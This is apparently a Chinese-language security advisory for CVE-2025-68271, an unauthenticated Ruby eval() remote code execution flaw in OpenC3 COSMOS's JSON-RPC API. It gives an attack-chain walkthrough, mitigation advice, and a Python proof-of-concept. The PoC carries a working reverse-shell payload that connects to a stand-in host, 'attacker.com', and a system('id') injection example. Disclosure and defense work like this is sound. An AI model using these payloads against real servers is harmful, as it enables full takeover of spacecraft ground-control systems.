IPBUF安全漏洞报告
English
CVE-2025-68271 CVSS 10.0 严重

CVE-2025-68271 OpenC3 COSMOS JSON-RPC API远程代码执行漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2025-68271
漏洞类型
远程代码执行
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenC3 COSMOS

相关标签

CVE-2025-68271远程代码执行JSON-RPC APIeval()注入RubyOpenC3 COSMOS未授权访问CVSS10.0

漏洞概述

OpenC3 COSMOS是一款开源的航天器地面测试与控制系统软件,提供与嵌入式系统通信的功能。该软件从5.0.0版本到6.10.1版本存在一处严重的远程代码执行漏洞,存在于其JSON-RPC API接口中。漏洞的根本原因在于当JSON-RPC请求使用特定API的字符串形式时,系统使用String#convert_to_value方法将攻击者控制的参数文本解析为值。对于数组类型的输入,该方法会调用Ruby的eval()函数执行代码。由于cmd命令处理代码路径在调用授权检查(authorize())之前就已经解析了命令字符串,攻击者可以在未经身份验证的情况下触发Ruby代码执行,即使最终请求会因授权失败(401)而中止,但恶意代码已经在解析阶段被执行。此漏洞CVSS评分达到满分10.0,属于最严重的安全漏洞,攻击者可利用此漏洞完全控制目标系统,窃取敏感数据、植入后门或进行横向移动。

技术细节

漏洞主要存在于OpenC3 COSMOS的JSON-RPC API实现中。当用户发送JSON-RPC请求时,系统会根据请求内容调用相应的处理方法。问题出在String#convert_to_value方法上,该方法用于将字符串形式的参数转换为Ruby对象。当参数是数组类型时,该方法会使用eval()来解析和执行代码。攻击者可以通过构造特殊的JSON-RPC请求,在命令参数中嵌入恶意Ruby代码。由于cmd处理流程中,命令字符串的解析发生在authorize()授权检查之前,因此即使攻击者没有有效的认证凭证,代码也已经在解析阶段被执行。攻击者只需构造一个包含数组形式恶意代码的JSON-RPC请求即可触发漏洞。例如,发送一个cmd类型的请求,参数中包含类似[].class_eval{system('id')}的代码,即可执行任意系统命令。修复方案是在6.10.2版本中调整了代码执行流程,确保授权检查在参数解析之前完成。

攻击链分析

STEP 1
步骤1
攻击者发现目标系统运行OpenC3 COSMOS 5.0.0-6.10.1版本,该版本存在JSON-RPC API
STEP 2
步骤2
攻击者构造恶意JSON-RPC请求,在cmd命令参数中嵌入Ruby代码,利用数组形式的参数触发convert_to_value的eval()执行
STEP 3
步骤3
发送构造好的请求到目标服务器的JSON-RPC API接口,请求无需认证即可到达命令解析阶段
STEP 4
步骤4
目标系统接收到请求后,cmd处理代码在调用authorize()授权检查之前,先调用convert_to_value解析参数
STEP 5
步骤5
convert_to_value方法对数组类型的参数执行eval(),导致嵌入的Ruby恶意代码被执行
STEP 6
步骤6
恶意代码以应用运行权限执行,攻击者获得系统控制权,可执行任意命令、窃取数据或植入后门
STEP 7
步骤7
虽然请求最终会因授权失败返回401错误,但恶意代码已在解析阶段成功执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-68271 PoC - OpenC3 COSMOS RCE via JSON-RPC API # This PoC exploits the String#convert_to_value eval() vulnerability import requests import json target_url = "http://target:2900/api" # Malicious payload - executes Ruby code via eval() in convert_to_value # The cmd path parses command string BEFORE authorization check malicious_payload = { "jsonrpc": "2.0", "method": "cmd", "params": { "target": "TEST", "cmd_name": "TEST_CMD", "params": [ "[].class_eval{require 'socket';require 'open3';c=TCPSocket.new('attacker.com','4444');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end}" ] }, "id": 1 } # Alternative simpler payload for testing simple_poc = { "jsonrpc": "2.0", "method": "cmd", "params": { "target": "SYSTEM", "cmd_name": "ABORT", "params": [ "[].class_eval{puts 'RCE_SUCCESS'}" ] }, "id": 2 } def exploit(url, payload): """Send malicious JSON-RPC request""" headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } print(f"[*] Sending payload to {url}") print(f"[*] Payload: {json.dumps(payload, indent=2)}") try: response = requests.post(url, json=payload, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None # Execute exploit if __name__ == "__main__": print("=" * 60) print("CVE-2025-68271 OpenC3 COSMOS RCE PoC") print("=" * 60) exploit(target_url, simple_poc)

影响范围

OpenC3 COSMOS >= 5.0.0 且 < 6.10.2

防御指南

临时缓解措施
由于该漏洞允许未认证的远程代码执行,建议采取以下临时缓解措施:1) 在网络边界对OpenC3 COSMOS的API端口(默认2900)进行访问控制,仅允许管理IP访问;2) 在WAF或反向代理中配置规则,拦截包含eval、class_eval、system等Ruby代码特征的可疑JSON-RPC请求;3) 监控应用日志,关注异常的命令执行请求;4) 尽快规划并执行升级到6.10.2版本,在升级前考虑暂时关闭非必要的JSON-RPC API功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表